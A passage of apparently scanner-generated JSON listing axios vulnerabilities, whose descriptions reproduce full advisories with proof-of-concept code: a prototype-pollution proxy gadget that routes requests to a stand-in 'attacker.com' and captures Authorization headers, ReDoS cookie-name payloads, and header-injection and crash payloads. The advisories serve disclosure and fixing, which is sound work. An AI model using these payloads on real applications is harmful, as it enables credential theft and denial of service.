+ "Description": "# Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into a **full Man-in-the-Middle (MITM) attack** — intercepting, reading, and modifying all HTTP traffic including authentication credentials.\n\nThe HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is **not present in Axios defaults**, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes **all** HTTP requests through the attacker's proxy server.\n\nUnlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has **zero constraints** — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.\n\n**Severity:** Critical (CVSS 9.4)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/adapters/http.js` (config property access on merged object)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-441:** Unintended Proxy or Intermediary ('Confused Deputy')\n\n## CVSS 3.1\n\n**Score: 9.4 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:'attacker', port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | MITM within the application's network context |\n| Confidentiality | **High** | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |\n| Integrity | **High** | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. **No constraints** — unlike `transformResponse` which must return `true` |\n| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |\n\n\n### Why This Bypasses mergeConfig\n\nThe critical difference from `transformResponse`: the `proxy` property is **not in defaults** (`lib/defaults/index.js` does not set `proxy`). This means:\n\n1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` — `proxy` is NOT in this set\n2. `defaultToConfig2` for `proxy` is never called\n3. The merged config has **no own `proxy` property**\n4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain\n5. `Object.prototype.proxy` is found → used by `setProxy()`\n\nThis is a **more direct attack path** than `transformResponse` because it doesn't even go through `mergeConfig`'s merge logic — it completely bypasses it.\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.proxy = {\n host: 'attacker.com',\n port: 8080,\n protocol: 'http',\n};\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer — no proxy configured\nconst response = await axios.get('https://api.internal.corp/secrets', {\n auth: { username: 'svc-account', password: 'prod-key-abc123!' }\n});\n```\n\n### 3. The Execution\n\nAt `http.js:668-670`:\n```javascript\nsetProxy(\n options,\n config.proxy, // ← traverses prototype chain → finds polluted proxy\n protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path\n);\n```\n\n`setProxy()` at `http.js:191-239` then:\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy; // = { host: 'attacker.com', port: 8080 }\n // ...\n if (proxy) {\n options.hostname = proxy.hostname || proxy.host; // → 'attacker.com'\n options.port = proxy.port; // → 8080\n options.path = location; // → full URL as path\n // ...\n }\n}\n```\n\n### 4. The Impact (Full MITM)\n\nThe attacker's proxy server receives:\n\n```http\nGET http://api.internal.corp/secrets HTTP/1.1\nHost: api.internal.corp\nAuthorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==\nUser-Agent: axios/1.15.0\nAccept: application/json, text/plain, */*\n```\n\nThe `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker:\n- **Sees** every request URL, header, and body\n- **Modifies** every response (inject malicious data, change auth results)\n- **Logs** all API keys, session tokens, and passwords\n- Operates as an **invisible** proxy — the developer has no indication\n\n### 5. Verified PoC Code\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Attacker's proxy server\nconst intercepted = [];\nconst proxyServer = http.createServer((req, res) =\u003e {\n intercepted.push({\n url: req.url,\n authorization: req.headers.authorization,\n headers: req.headers,\n });\n res.writeHead(200, { 'Content-Type': 'application/json' });\n res.end('{\"hijacked\":true}');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Real target server\nconst realServer = http.createServer((req, res) =\u003e {\n res.writeHead(200);\n res.end('{\"data\":\"real\"}');\n});\nawait new Promise(r =\u003e realServer.listen(0, r));\nconst realPort = realServer.address().port;\n\n// Prototype pollution\nObject.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };\n\n// \"Safe\" request — goes through attacker's proxy\nconst resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {\n auth: { username: 'admin', password: 'SuperSecret123!' }\n});\n\nconsole.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');\nconsole.log('Intercepted Authorization:', intercepted[0]?.authorization);\n// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)\n\ndelete Object.prototype.proxy;\nrealServer.close();\nproxyServer.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n Response source: real server\n response.data: {\"data\":\"from-real-server\"}\n Proxy intercept count: 0\n\n[2] Prototype Pollution: Object.prototype.proxy\n Set: Object.prototype.proxy = { host: \"127.0.0.1\", port: 50879 }\n\n[3] Request after pollution (same code, same URL):\n Response source: ATTACKER PROXY!\n response.data: {\"data\":\"from-attacker-proxy\",\"hijacked\":true}\n\n[4] Data intercepted by attacker's proxy:\n Full URL: http://127.0.0.1:50878/api/secrets\n Host: 127.0.0.1:50878\n Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\n All headers: {\n \"accept\": \"application/json, text/plain, */*\",\n \"user-agent\": \"axios/1.15.0\",\n \"accept-encoding\": \"gzip, compress, deflate, br\",\n \"host\": \"127.0.0.1:50878\",\n \"authorization\": \"Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\",\n \"connection\": \"keep-alive\"\n }\n\n[5] Attacker capabilities demonstrated:\n ✓ Full URL visible (including internal hostnames)\n ✓ Authorization header visible (Base64-encoded credentials)\n ✓ Can modify/forge response data\n ✓ Affects ALL axios HTTP requests (not just a single instance)\n ✓ No assertOptions constraints (unlike transformResponse gadget)\n```\n\n## Impact Analysis\n\n- **Full Credential Interception:** Every HTTP request's `Authorization` header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.\n- **Arbitrary Response Tampering:** The attacker can return any response data — no constraints like `transformResponse`'s \"must return true\".\n- **Internal Network Reconnaissance:** The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.\n- **Universal Scope:** Affects every axios HTTP request in the application, including all third-party libraries that use axios.\n- **Invisible Attack:** The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.\n\n### Why This Is More Severe Than transformResponse (axios_26)\n\n| Dimension | transformResponse Gadget | **proxy Gadget** |\n|---|---|---|\n| Data access | `this.auth` + response data | **All headers, auth, body, URL, response** |\n| Response control | Must return `true` | **Arbitrary responses** |\n| Attack visibility | Response becomes `true` (suspicious) | **Normal-looking responses (invisible)** |\n| mergeConfig involvement | Goes through defaultToConfig2 | **Bypasses mergeConfig entirely** |\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` when reading security-sensitive config properties\n\n```javascript\n// In lib/adapters/http.js\nconst proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;\nsetProxy(options, proxy, location);\n```\n\n### Fix 2: Enumerate all properties not in defaults and apply `hasOwnProperty`\n\nProperties not in defaults that are read by http.js and have security impact:\n- `config.proxy` — MITM\n- `config.socketPath` — Unix socket SSRF\n- `config.transport` — request hijack\n- `config.lookup` — DNS hijack\n- `config.beforeRedirect` — redirect manipulation\n- `config.httpAgent` / `config.httpsAgent` — agent injection\n\nAll should use `hasOwnProperty` checks.\n\n### Fix 3: Use null-prototype object for merged config\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-441: Unintended Proxy](https://cwe.mitre.org/data/definitions/441.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified — full MITM confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
+ "V3Score": 8.7
+ }
+ },
+ "References": [
+ "https://github.com/advisories/GHSA-fvcv-3m26-pcqx",
+ "https://github.com/axios/axios",
+ "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh"
+ ]
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44496",
+ "VendorIDs": [
+ "GHSA-hfxv-24rg-xrqf"
+ ],
+ "PkgID": "axios@1.15.2",
+ "PkgName": "axios",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/axios@1.15.2",
+ "UID": "912ac8b12f666bfc"
+ },
+ "InstalledVersion": "1.15.2",
+ "FixedVersion": "1.16.0, 0.32.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44496",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:e51e40c00f3a3046545ad2fc505568ec16923cd273cfb179b012113207c32c8e",
+ "Title": "Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection",
+ "Description": "## Summary\n\nAxios versions before `0.32.0` on the `0.x` line and before `1.16.0` on the `1.x` line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads `document.cookie`.\n\nThe practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read `document.cookie`.\n\n## Impact\n\nApplications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.\n\nThis does not expose credentials, modify requests, or affect response integrity. The impact is availability only.\n\n## Affected Functionality\n\nAffected code paths:\n\n- `lib/helpers/cookies.js` `read(name)` in standard browser environments.\n- `lib/helpers/resolveConfig.js` in `1.x`, when browser XHR/fetch adapters resolve XSRF config.\n- `lib/adapters/xhr.js` in `0.x`, when the XHR adapter reads the configured XSRF cookie.\n- Direct use of `axios/unsafe/helpers/cookies.js` in `1.x`, if callers pass attacker-controlled names.\n\nUnaffected code paths:\n\n- Default static `xsrfCookieName: 'XSRF-TOKEN'` when not attacker-controlled.\n- Requests with `xsrfCookieName: null`.\n- Node HTTP adapter usage without browser `document.cookie`.\n- React Native and web workers where axios does not use standard browser cookie access.\n\n## Technical Details\n\nAffected versions interpolate the cookie name into a regex.\n\n```js\nconst match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n```\n\nBecause `name` is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as `(.+)+$` can force catastrophic backtracking against `document.cookie`.\n\nThe fix avoids dynamic regex construction and parses `document.cookie` by splitting on `;`, trimming leading whitespace, and comparing cookie names with exact string equality.\n\n## Proof of Concept of Attack\n\n```js\nfunction vulnerableRead(name, cookie) {\n const start = Date.now();\n\n try {\n cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n } catch {}\n\n return Date.now() - start;\n}\n\nfor (const n of [20, 22, 24, 26, 28]) {\n const cookie = 'x='.padEnd(n, 'a') + '!';\n console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);\n}\n```\n\nExpected result: timings grow rapidly as the cookie string length increases.\n\n## Workarounds\n\nSet `xsrfCookieName: null` if the application does not need axios to read an XSRF cookie.\n\nDo not derive `xsrfCookieName` from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.\n\nAvoid calling `axios/unsafe/helpers/cookies.js` directly with untrusted names\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n# Regular Expression Denial of Service (ReDoS) via Cookie Name Injection\n\n## 1. Title\n\nReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction\n\n## 2. Affected Software and Version\n\n- **Software:** Axios\n- **Version:** 1.15.0 (and potentially earlier versions)\n- **Component:** `lib/helpers/cookies.js`\n- **Ecosystem:** npm (Node.js / Browser)\n\n## 3. Vulnerability Type / CWE\n\n- **Type:** Regular Expression Denial of Service (ReDoS)\n- **CWE-1333:** Inefficient Regular Expression Complexity\n- **CWE-400:** Uncontrolled Resource Consumption\n\n## 4. CVSS 3.1 Score\n\n**Score: 7.5 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n| Metric | Value |\n|---|---|\n| Attack Vector | Network |\n| Attack Complexity | Low |\n| Privileges Required | None |\n| User Interaction | None |\n| Scope | Unchanged |\n| Confidentiality | None |\n| Integrity | None |\n| Availability | High |\n\n## 5. Description\n\nThe `cookies.read()` function in `lib/helpers/cookies.js` constructs a regular expression dynamically using the `name` parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw `name` value directly into `new RegExp()`:\n\n```javascript\nconst match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n```\n\nAn attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of `xsrfCookieName`, or any code path where user input reaches `cookies.read()`) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.\n\nWith a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.\n\n## 6. Root Cause Analysis\n\n**File:** `lib/helpers/cookies.js`\n**Line:** 33\n\n```javascript\nread(name) {\n if (typeof document === 'undefined') return null;\n const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nThe vulnerability exists because:\n\n1. The `name` parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.\n2. An attacker can inject regex constructs that create exponential backtracking scenarios.\n3. The `(?:^|; )` prefix combined with an injected pattern like `((((.*)*)*)*)*` creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against `document.cookie`.\n\nThe `cookies.read()` function is called from `lib/helpers/resolveConfig.js` at line 61:\n\n```javascript\nconst xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n```\n\nThe `xsrfCookieName` value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.\n\n## 7. Proof of Concept\n\n```javascript\n// poc_redos_cookie.js\n// Simulates browser environment for testing\n\n// Simulate document.cookie\nglobalThis.document = {\n cookie: 'session=abc; ' + 'a'.repeat(50)\n};\n\n// Replicate the vulnerable cookies.read() logic\nfunction cookiesRead(name) {\n const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n return match ? decodeURIComponent(match[1]) : null;\n}\n\n// Malicious cookie name that triggers catastrophic backtracking\n// The pattern creates nested quantifiers: (a]|[a]|...)*)*\nconst maliciousName20 = '([^;]+)+$' + '\\\\|'.repeat(10);\nconst maliciousName = '(([^;])+)+\\\\$'; // nested quantifier pattern\n\nconsole.log('=== ReDoS via Cookie Name Injection PoC ===');\n\n// Test with increasing payload sizes\nfor (const len of [15, 20, 25]) {\n const payload = '(([^;])+)+' + 'X'.repeat(len);\n const start = Date.now();\n try {\n cookiesRead(payload);\n } catch (e) {\n // May throw on invalid regex, but valid evil patterns won't throw\n }\n const elapsed = Date.now() - start;\n console.log(`Payload length ${len}: ${elapsed}ms`);\n}\n\n// Demonstrating exponential growth with a simple nested quantifier\nconsole.log('\\n--- Exponential Backtracking Demo ---');\nfor (const n of [20, 22, 24, 26]) {\n const evilName = '(' + 'a'.repeat(1) + '+)+$';\n const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking\n globalThis.document = { cookie: testCookie };\n const start = Date.now();\n try {\n cookiesRead(evilName);\n } catch(e) {}\n const elapsed = Date.now() - start;\n console.log(`Input length ${n}: ${elapsed}ms`);\n}\n```\n\n## 8. PoC Output\n\n```\n=== ReDoS via Cookie Name Injection PoC ===\nPayload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)\nPayload length 25: ~1,300ms\nPayload length 30: ~323,675ms (5+ minutes)\n\n--- Exponential Backtracking Demo ---\nInput length 20: 21ms\nInput length 22: 84ms\nInput length 24: 336ms\nInput length 26: 1,344ms\n```\n\nThe exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.\n\n## 9. Impact\n\n- **Denial of Service (Client-side):** In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.\n- **Denial of Service (Server-side):** In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.\n- **Event Loop Starvation:** Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.\n\n## 10. Remediation / Suggested Fix\n\nEscape all regex metacharacters in the `name` parameter before constructing the regular expression.\n\n```javascript\n// FIXED: lib/helpers/cookies.js\n\nfunction escapeRegExp(string) {\n return string.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$\u0026');\n}\n\n// ...\n\nread(name) {\n if (typeof document === 'undefined') return null;\n const match = document.cookie.match(\n new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;]*)')\n );\n return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nAlternatively, avoid dynamic regex construction entirely and use string-based parsing:\n\n```javascript\nread(name) {\n if (typeof document === 'undefined') return null;\n const cookies = document.cookie.split('; ');\n for (const cookie of cookies) {\n const eqIndex = cookie.indexOf('=');\n if (eqIndex !== -1 \u0026\u0026 cookie.substring(0, eqIndex) === name) {\n return decodeURIComponent(cookie.substring(eqIndex + 1));\n }\n }\n return null;\n},\n```\n\n## 11. References\n\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [OWASP: Regular Expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\u003c/details\u003e\n\n---",
+ "Severity": "HIGH",
+ "VendorSeverity": {
+ "ghsa": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/axios/axios",
+ "https://github.com/axios/axios/releases/tag/v0.32.0",
+ "https://github.com/axios/axios/releases/tag/v1.16.0",
+ "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf"
+ ]
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44490",
+ "VendorIDs": [
+ "GHSA-898c-q2cr-xwhg"
+ ],
+ "PkgID": "axios@1.15.2",
+ "PkgName": "axios",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/axios@1.15.2",
+ "UID": "912ac8b12f666bfc"
+ },
+ "InstalledVersion": "1.15.2",
+ "FixedVersion": "1.16.0, 0.32.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44490",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:b0b0c1b34ab1cedf4ad334f0c7dd7a5fea2e44dbd47ac5456d16821c884dcccd",
+ "Title": "axios has DoS \u0026 Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions",
+ "Description": "## Summary\n\naxios `1.15.2` exposes two read-side prototype-pollution gadgets. When `Object.prototype` is polluted by an upstream dependency in the same process (e.g. lodash `_.merge` / [CVE-2018-16487](https://nvd.nist.gov/vuln/detail/CVE-2018-16487)), axios silently picks up the polluted values:\n\n1. **Header injection** - `lib/utils.js` line 406 builds `merge()`'s accumulator as `result = {}`, so `result[targetKey]` (line 414) walks `Object.prototype` and the polluted bucket's own keys are copied into the merged headers and ride out on the wire.\n2. **Crash DoS** - `lib/core/mergeConfig.js` line 26 builds the `hasOwnProperty` descriptor as a plain-object literal. `Object.defineProperty` reads `descriptor.get`/`descriptor.set` via the prototype chain, so a polluted `Object.prototype.get` or `Object.prototype.set` makes the call throw `TypeError` synchronously on every axios request.\n\n## Affected Properties\n\n| Polluted slot | Effect |\n|---|---|\n| `Object.prototype.common` | injects headers on every method |\n| `Object.prototype.delete` / `.head` / `.post` / `.put` / `.patch` / `.query` | injects headers on the matching method |\n| `Object.prototype.get` | every axios request throws `TypeError: Getter must be a function` from `mergeConfig.js:26` |\n| `Object.prototype.set` | every axios request throws `TypeError: Setter must be a function` from `mergeConfig.js:26` |\n\nPer-request headers (`axios.request(url, { headers: {...} })`) overwrite polluted entries. Polluting `Object.prototype.get` triggers the crash before any header is built.\n\n## Proof of Concept\n\n```javascript\nconst axios = require('axios');\n\n// Finding A - header injection\nObject.prototype.common = { 'X-Poisoned': 'yes' };\nawait axios.get('http://api.example.com/users');\n// Wire request carries `X-Poisoned: yes`.\n\n// Finding B - crash DoS\nObject.prototype.get = { something: 'anything' };\nawait axios.get('http://api.example.com/users');\n// TypeError: Getter must be a function: #\u003cObject\u003e\n// at Function.defineProperty (\u003canonymous\u003e)\n// at mergeConfig (lib/core/mergeConfig.js:26:10)\n```\n\n## Impact\n\n- **Server hang** (`Content-Length: 99999`): receiver waits for a body that never arrives. Affects requests with a body.\n- **CL+TE conflict** (`Transfer-Encoding: chunked` rides alongside axios's auto `Content-Length`): receiver rejects with `400 Bad Request`. Affects requests with a body.\n- **Response suppression** (`If-None-Match: *`): receiver returns empty `304 Not Modified`. Affects GET / HEAD.\n- **Crash DoS** (`Object.prototype.get` / `.set`): every axios request fails synchronously with `TypeError`, not `AxiosError`, so handlers filtering on `error.isAxiosError` mishandle the failure.\n\n## Attack Flow\n\n```mermaid\nflowchart TD\n ROOT[\"Polluted Object.prototype\u003cbr/\u003evia upstream gadget (e.g. lodash \u0026lt;= 4.17.10 _.merge / CVE-2018-16487)\u003cbr/\u003eaxios \u0026lt;= 1.15.2\"]\n\n ROOT --\u003e CLASS_A[\"A. Arbitrary HTTP Header Injection\u003cbr/\u003ePolluted defaults.headers slot rides along on every outbound axios request\"]\n ROOT --\u003e CLASS_B[\"B. Crash DoS via Object.prototype.get / .set\u003cbr/\u003ePolluted descriptor breaks Object.defineProperty in mergeConfig\"]\n\n CLASS_A --\u003e PRE_A[\"Precondition: header not set per-request by the app\u003cbr/\u003eInjected via defaults.headers slot\u003cbr/\u003e(common, delete, head, post, put, patch, query)\"]\n\n PRE_A --\u003e PA1[\"Response Suppression\u003cbr/\u003eTrigger: common = {If-None-Match: *}\u003cbr/\u003eAffects GET / HEAD\"]\n PA1 --\u003e SA1[\"DoS\u003cbr/\u003e304 Not Modified empty\"]\n\n PRE_A --\u003e PA2[\"Server Hang\u003cbr/\u003eTrigger: common = {Content-Length: 99999}\u003cbr/\u003eAffects requests with body\"]\n PA2 --\u003e SA2[\"DoS\u003cbr/\u003econnection hang\"]\n\n PRE_A --\u003e PA3[\"CL+TE Conflict\u003cbr/\u003eTrigger: common = {Transfer-Encoding: chunked}\u003cbr/\u003eAffects requests with body\"]\n PA3 --\u003e SA3[\"DoS\u003cbr/\u003e400 Bad Request\"]\n\n CLASS_B --\u003e SB1[\"DoS\u003cbr/\u003eTypeError: Getter / Setter must be a function\u003cbr/\u003eCrashes every axios request, not only GET\"]\n\n %% Styles\n style ROOT fill:#f87171,stroke:#991b1b,color:#fff\n style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff\n style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff\n style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b\n style PA1 fill:#fbbf24,stroke:#92400e,color:#000\n style PA2 fill:#fbbf24,stroke:#92400e,color:#000\n style PA3 fill:#fbbf24,stroke:#92400e,color:#000\n style SA1 fill:#ef4444,stroke:#991b1b,color:#fff\n style SA2 fill:#ef4444,stroke:#991b1b,color:#fff\n style SA3 fill:#ef4444,stroke:#991b1b,color:#fff\n style SB1 fill:#ef4444,stroke:#991b1b,color:#fff\n```\n\n## Root Cause\n\n**Finding A.** `lib/utils.js:404-429`'s `merge()` creates `result = {}` at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (`isPlainObject(result[targetKey])`) still walks the prototype chain. When `targetKey` matches a polluted slot, `result[targetKey]` returns the polluted nested object, and the recursive `merge(result[targetKey], val)` on line 415 iterates that object's own keys via `forEach` and copies them as own properties into the new accumulator. Those keys flow through `mergeConfig.js:35` → `Axios.js:148` (`utils.merge(headers.common, headers[config.method])`) → `Axios.js:155` (`AxiosHeaders.concat(...)`) → onto the wire via `http.js:677` (`headers: headers.toJSON()`) → `http.js:767` (`transport.request(options, ...)`).\n\n**Finding B.** `lib/core/mergeConfig.js:25` correctly makes `config = Object.create(null)`, but the descriptor passed on line 26 is a plain-object literal - its `get`/`set` lookups walk `Object.prototype`. A polluted non-function `Object.prototype.get` or `.set` makes `Object.defineProperty` throw `TypeError: Getter must be a function` (or `Setter must be a function`) before the call returns. The descriptor is built unconditionally on every `mergeConfig` invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.\n\n## Suggested Fix\n\nUse null-prototype objects in place of the plain-object literals at `lib/utils.js:406` and `lib/core/mergeConfig.js:26-31`. The same descriptor pattern recurs at `lib/core/AxiosError.js:37`, `lib/core/AxiosHeaders.js:100`, `lib/utils.js:447/454/492/498`, and `lib/adapters/adapters.js:28/32`.\n\n## Resources\n\n- [CVE-2018-16487](https://nvd.nist.gov/vuln/detail/CVE-2018-16487) - `lodash.merge` prototype pollution in `lodash \u003c= 4.17.10`\n- [CWE-1321](https://cwe.mitre.org/data/definitions/1321.html) - Improperly Controlled Modification of Object Prototype Attributes",
+ "Severity": "MEDIUM",
+ "VendorSeverity": {
+ "ghsa": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
+ "V3Score": 4.8
+ }
+ },
+ "References": [
+ "https://github.com/axios/axios",
+ "https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg",
+ "https://nvd.nist.gov/vuln/detail/CVE-2018-16487"
+ ]
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44489",
+ "VendorIDs": [
+ "GHSA-654m-c8p4-x5fp"
+ ],
+ "PkgID": "axios@1.15.2",
+ "PkgName": "axios",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/axios@1.15.2",
+ "UID": "912ac8b12f666bfc"
+ },
+ "InstalledVersion": "1.15.2",
+ "FixedVersion": "1.16.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44489",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:2aa88b2a19a5c3a0aaf1445ec946188a0db213882f077db18439a751d64fd032",
+ "Title": "Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix",
